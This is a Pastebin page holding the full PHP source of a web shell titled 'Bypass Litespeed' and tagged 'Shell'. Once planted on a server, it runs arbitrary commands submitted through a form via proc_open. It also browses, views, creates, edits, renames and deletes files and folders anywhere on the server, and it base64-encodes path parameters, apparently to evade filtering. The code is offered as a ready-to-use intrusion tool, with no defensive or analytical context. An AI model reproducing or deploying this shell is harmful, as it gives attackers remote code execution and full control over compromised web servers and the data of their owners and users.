afrizalwahyuadi66

Bypass Litespeed

Mar 30th, 2024 (edited)
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 10.55 KB | Cybersecurity | 0 0
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4.     <title>.:: Jagoan SL ::.</title>
  5.     <link href="https://fonts.googleapis.com/css?family=Protest Revolution" rel="stylesheet">
  6.     <style>
  7.         body {
  8.              font-family: 'Protest Revolution';
  9.              color: red;
  10.              margin: 0;
  11.              padding: 0;
  12.              text-shadow: 2px 2px 4px rgba(255, 0, 0, 0.5);
  13.              background-image: url('https://iphoneswallpapers.com/wp-content/uploads/2022/09/iPhone-13-RGB-Neon-Frame.jpg');
  14.              background-size: cover;
  15.              background-position: center;
  16. }
  17.         .container {
  18.             width: 90%;
  19.             margin: 20px auto;
  20.             padding: 20px;
  21.             background-color: #fff;
  22.             border-radius: 5px;
  23.             box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
  24.         }
  25.         .result-box {
  26.             width: 97.5%;
  27.             height: 200px;
  28.             resize: none;
  29.             overflow: auto;
  30.             font-family: 'Protest Revolution';
  31.             background-color: #f4f4f4;
  32.             padding: 10px;
  33.             border: 1px solid #ddd;
  34.             margin-bottom: 10px;
  35.         }
  36.         hr {
  37.             border: 0;
  38.             border-top: 1px solid #ddd;
  39.             margin: 20px 0;
  40.         }
  41.         table {
  42.             width: 100%;
  43.             border-collapse: collapse;
  44.             margin-top: 20px;
  45.         }
  46.         th, td {
  47.             padding: 8px;
  48.             text-align: left;
  49.         }
  50.         th {
  51.             background-color: #f2f2f2;
  52.         }
  53.         tr:nth-child(even) {
  54.             background-color: #f9f9f9;
  55.         }
  56.         tr:hover {
  57.             background-color: #f2f2f2;
  58.         }
  59.         input[type="text"], input[type="submit"], textarea[name="file_content"] {
  60.             width: calc(97.5% - 10px);
  61.             margin-bottom: 10px;
  62.             padding: 8px;
  63.             max-height: 200px;
  64.             resize: vertical;
  65.             border: 1px solid #ddd;
  66.             border-radius: 3px;
  67.             font-family: 'Protest Revolution';
  68.         }
  69.         input[type="submit"] {
  70.             background-color: #4CAF50;
  71.             color: white;
  72.             font-family: 'Protest Revolution';
  73.             border: none;
  74.             cursor: pointer;
  75.         }
  76.         input[type="submit"]:hover {
  77.             background-color: #45a049;
  78.         }
  79.         .item-name {
  80.             max-width: 200px;
  81.             overflow: hidden;
  82.             text-overflow: ellipsis;
  83.             white-space: nowrap;
  84.         }
  85.         td.size {
  86.     width: 100px;
  87. }
  88.  
  89.         .writable {
  90.             color: green;
  91.         }
  92.         .not-writable {
  93.             color: red;
  94.         }
  95.         .permission {
  96.         font-weight: bold;
  97.         width: 50px;
  98.         height: 20px;
  99.         text-align: center;
  100.         line-height: 20px;
  101.         overflow: hidden;
  102.     }
  103.  
  104.     </style>
  105. </head>
  106. <body>
  107. <div class="container">
  108. <?php
  109. $rootDirectory = realpath($_SERVER['DOCUMENT_ROOT']);
  110.  
  111. function x($b)
  112. {
  113.     return base64_encode($b);
  114. }
  115.  
  116. function y($b)
  117. {
  118.     return base64_decode($b);
  119. }
  120.  
  121. foreach ($_GET as $c => $d) $_GET[$c] = y($d);
  122.  
  123. $currentDirectory = realpath(isset($_GET['d']) ? $_GET['d'] : $rootDirectory);
  124. chdir($currentDirectory);
  125.  
  126. $viewCommandResult = '';
  127.  
  128. if ($_SERVER['REQUEST_METHOD'] === 'POST') {
  129.     if (isset($_POST['folder_name']) && !empty($_POST['folder_name'])) {
  130.         $newFolder = $currentDirectory . '/' . $_POST['folder_name'];
  131.         if (!file_exists($newFolder)) {
  132.             mkdir($newFolder);
  133.             echo '<hr>Folder created successfully!';
  134.         } else {
  135.             echo '<hr>Error: Folder already exists!';
  136.         }
  137.     } elseif (isset($_POST['file_name']) && !empty($_POST['file_name'])) {
  138.         $fileName = $_POST['file_name'];
  139.         $newFile = $currentDirectory . '/' . $fileName;
  140.         if (!file_exists($newFile)) {
  141.             if (file_put_contents($newFile, $_POST['file_content']) !== false) {
  142.                 echo '<hr>File created successfully!';
  143.             } else {
  144.                 echo '<hr>Error: Failed to create file!';
  145.             }
  146.         } else {
  147.             if (file_put_contents($newFile, $_POST['file_content']) !== false) {
  148.                 echo '<hr>File edited successfully!';
  149.             } else {
  150.                 echo '<hr>Error: Failed to edit file!';
  151.             }
  152.         }
  153.     } elseif (isset($_POST['delete_file'])) {
  154.         $fileToDelete = $currentDirectory . '/' . $_POST['delete_file'];
  155.         if (file_exists($fileToDelete)) {
  156.             if (unlink($fileToDelete)) {
  157.                 echo '<hr>File deleted successfully!';
  158.             } else {
  159.                 echo '<hr>Error: Failed to delete file!';
  160.             }
  161.         } elseif (is_dir($fileToDelete)) {
  162.             if (deleteDirectory($fileToDelete)) {
  163.                 echo '<hr>Folder deleted successfully!';
  164.             } else {
  165.                 echo '<hr>Error: Failed to delete folder!';
  166.             }
  167.         } else {
  168.             echo '<hr>Error: File or directory not found!';
  169.         }
  170.     } elseif (isset($_POST['rename_item']) && isset($_POST['old_name']) && isset($_POST['new_name'])) {
  171.         $oldName = $currentDirectory . '/' . $_POST['old_name'];
  172.         $newName = $currentDirectory . '/' . $_POST['new_name'];
  173.         if (file_exists($oldName)) {
  174.             if (rename($oldName, $newName)) {
  175.                 echo '<hr>Item renamed successfully!';
  176.             } else {
  177.                 echo '<hr>Error: Failed to rename item!';
  178.             }
  179.         } else {
  180.             echo '<hr>Error: Item not found!';
  181.         }
  182.     } elseif (isset($_POST['cmd_input'])) {
  183.         $command = $_POST['cmd_input'];
  184.         $descriptorspec = [
  185.             0 => ['pipe', 'r'],
  186.             1 => ['pipe', 'w'],
  187.             2 => ['pipe', 'w']
  188.         ];
  189.         $process = proc_open($command, $descriptorspec, $pipes);
  190.         if (is_resource($process)) {
  191.             $output = stream_get_contents($pipes[1]);
  192.             $errors = stream_get_contents($pipes[2]);
  193.             fclose($pipes[1]);
  194.             fclose($pipes[2]);
  195.             proc_close($process);
  196.             if (!empty($errors)) {
  197.                 $viewCommandResult = '<hr><p>Result:</p><textarea class="result-box">' . htmlspecialchars($errors) . '</textarea>';
  198.             } else {
  199.                 $viewCommandResult = '<hr><p>Result:</p><textarea class="result-box">' . htmlspecialchars($output) . '</textarea>';
  200.             }
  201.         } else {
  202.             $viewCommandResult = '<hr><p>Error: Failed to execute command!</p>';
  203.         }
  204.     } elseif (isset($_POST['view_file'])) {
  205. $fileToView = $currentDirectory . '/' . $_POST['view_file'];
  206. if (file_exists($fileToView)) {
  207. $fileContent = file_get_contents($fileToView);
  208. $viewCommandResult = '<hr><p>Result: ' . $_POST['view_file'] . '</p><textarea class="result-box">' . htmlspecialchars($fileContent) . '</textarea>';
  209. } else {
  210. $viewCommandResult = '<hr><p>Error: File not found!</p>';
  211. }
  212. }
  213. }
  214. echo '<center>
  215.  
  216. <div class="fig-ansi">
  217. <pre id="taag_font_ANSIShadow" class="fig-ansi"><span style="color: #4CAF50;">   <strong>  __    Bye Bye Litespeed   _____ __    
  218.    __|  |___ ___ ___ ___ ___   |   __|  | v.1.2
  219. |  |  | .\'| . | . | .\'|   |  |__   |  |__
  220. |_____|__,|_  |___|__,|_|_|  |_____|_____|
  221.                |___| ./Heartzz                      </strong> </span></pre>
  222. </div>
  223. </center>';
  224. echo '<hr>curdir: ';
  225. $directories = explode(DIRECTORY_SEPARATOR, $currentDirectory);
  226. $currentPath = '';
  227. foreach ($directories as $index => $dir) {
  228.     if ($index == 0) {
  229.         echo '<a href="?d=' . x($dir) . '">' . $dir . '</a>';
  230.     } else {
  231.         $currentPath .= DIRECTORY_SEPARATOR . $dir;
  232.         echo ' / <a href="?d=' . x($currentPath) . '">' . $dir . '</a>';
  233.     }
  234. }
  235. echo '<br>';
  236. echo '<hr><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">';
  237. echo '<input type="text" name="folder_name" placeholder="New Folder Name">';
  238. echo '<input type="submit" value="Create Folder">';
  239. echo '</form>';
  240.  
  241. echo '<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">';
  242. echo '<input type="text" name="file_name" placeholder="Create New File / Edit Existing File">';
  243. echo '<textarea name="file_content" placeholder="File Content (for new file) or Edit Content (for existing file)"></textarea>';
  244. echo '<input type="submit" value="Create / Edit File">';
  245. echo '</form>';
  246.  
  247. echo '<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="text" name="cmd_input" placeholder="Enter command"><input type="submit" value="Run Command"></form>';
  248. echo $viewCommandResult;
  249. echo '<div>';
  250. echo '</div>';
  251. echo '<table border=1>';
  252. echo '<br><tr><th><center>Item Name</th><th><center>Size</th><th><center> View  </th><th><center>Delete </th><th>Permissions</th><th><center>Rename</th></tr></center></center></center>';
  253. foreach (scandir($currentDirectory) as $v) {
  254.     $u = realpath($v);
  255.     $s = stat($u);
  256.     $itemLink = is_dir($v) ? '?d=' . x($currentDirectory . '/' . $v) : '?'.('d='.x($currentDirectory).'&f='.x($v));
  257.     $permission = substr(sprintf('%o', fileperms($v)), -4);
  258.     $writable = is_writable($v);
  259.     echo '<tr>
  260.            <td class="item-name"><a href="'.$itemLink.'">'.$v.'</a></td>
  261.            <td class="size">'.filesize($u).'</td>
  262.            <td><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="hidden" name="view_file" value="'.htmlspecialchars($v).'"><input type="submit" value="View"></form></td>
  263.            <td><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="hidden" name="delete_file" value="'.htmlspecialchars($v).'"><input type="submit" value="Delete"></form></td>
  264.            <td class="permission '.($writable ? 'writable' : 'not-writable').'">'.$permission.'</td>
  265.            <td><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="hidden" name="old_name" value="'.htmlspecialchars($v).'"><input type="text" name="new_name" placeholder="New Name"><input type="submit" name="rename_item" value="Rename"></form></td>
  266.        </tr>';
  267. }
  268.  
  269. echo '</table>';
  270. function deleteDirectory($dir) {
  271. if (!file_exists($dir)) {
  272. return true;
  273. }
  274. if (!is_dir($dir)) {
  275. return unlink($dir);
  276. }
  277. foreach (scandir($dir) as $item) {
  278. if ($item == '.' || $item == '..') {
  279. continue;
  280. }
  281. if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) {
  282. return false;
  283. }
  284. }
  285. return rmdir($dir);
  286. }
  287. ?>
  288.  
  289. </div>
  290. </body>
  291. </html>
Tags: Shell
Add Comment
Please, Sign In to add comment